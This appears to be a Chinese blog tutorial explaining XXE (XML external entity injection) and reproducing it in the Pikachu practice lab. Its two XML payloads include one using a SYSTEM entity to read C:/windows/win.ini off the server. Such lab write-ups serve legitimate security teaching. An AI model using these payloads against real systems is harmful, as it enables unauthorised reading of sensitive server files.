XXE漏洞基本原理(原理+靶场复现漏洞)

一、XXE漏洞与xml:

1、XXE漏洞的概念与基本原理:

XXE漏洞,全称:"XML External Entity Injection"。

这种漏洞发生在应用程序解析XML输入数据时,如果没有禁止或限制对外部实体的引用和加载,那么攻击者可以上传含有恶意构造的外部实体的XML文件。这些恶意的外部实体可以被设计为访问服务器上的敏感文件、执行系统命令、扫描内网端口等,从而泄露信息或造成服务拒绝。

简而言之,XXE漏洞类似于其他注入类攻击(如SQL注入、XSS),都是利用了外部输入数据未被充分验证和过滤的安全缺陷。要防御XXE漏洞,可以在解析XML文档时禁止使用外部实体,确保所有XML输入都经过适当的验证和清理程序。

2、XML介绍:

XML是一种非常流行的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

关于XML的具体语法参考下面一片文章,附上链接:

浅析无回显XXE(Blind XXE)


二、靶场漏洞复现(Pikachu):

1、有回显XXE漏洞复现:

有回显XXE漏洞后端代码示例,如下图:

正是 echo $creds; 将响应结果打印出来,构成了回显,显示在我们的前端页面上。

进入靶场,页面如下:

根据题目得知,输入框为接收xml数据的api,我们首先要判断是否有回显。

首先在输入框中提交以下XML代码:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe "XXE漏洞有回显">
]>
<root>&xxe;</root>

将代码提交后,页面如下:

我们可以看到页面出现了回显,那么我们就可以修改实体xxe的内容,将回显目标改为一些敏感目录,比如win.ini。

修改payload如下:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<root>&xxe;</root>

代码提交后,页面如下图所示:

可以看到敏感目录中的内容成功在页面上回显,漏洞复现成功。

相关推荐

  1. 漏洞】金和OA XmlDeal.aspx XXE漏洞

    2024-03-10 13:02:03       13 阅读
  2. 33-2 XXE漏洞 - XXE外部实体注入原理

    2024-03-10 13:02:03       13 阅读
  3. thinkphp漏洞

    2024-03-10 13:02:03       10 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-10 13:02:03       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-10 13:02:03       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-10 13:02:03       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-10 13:02:03       18 阅读

热门阅读

  1. MyBatis和MyBatis-Plus的差别和优缺点

    2024-03-10 13:02:03       23 阅读
  2. Jetty的ssl模块

    2024-03-10 13:02:03       23 阅读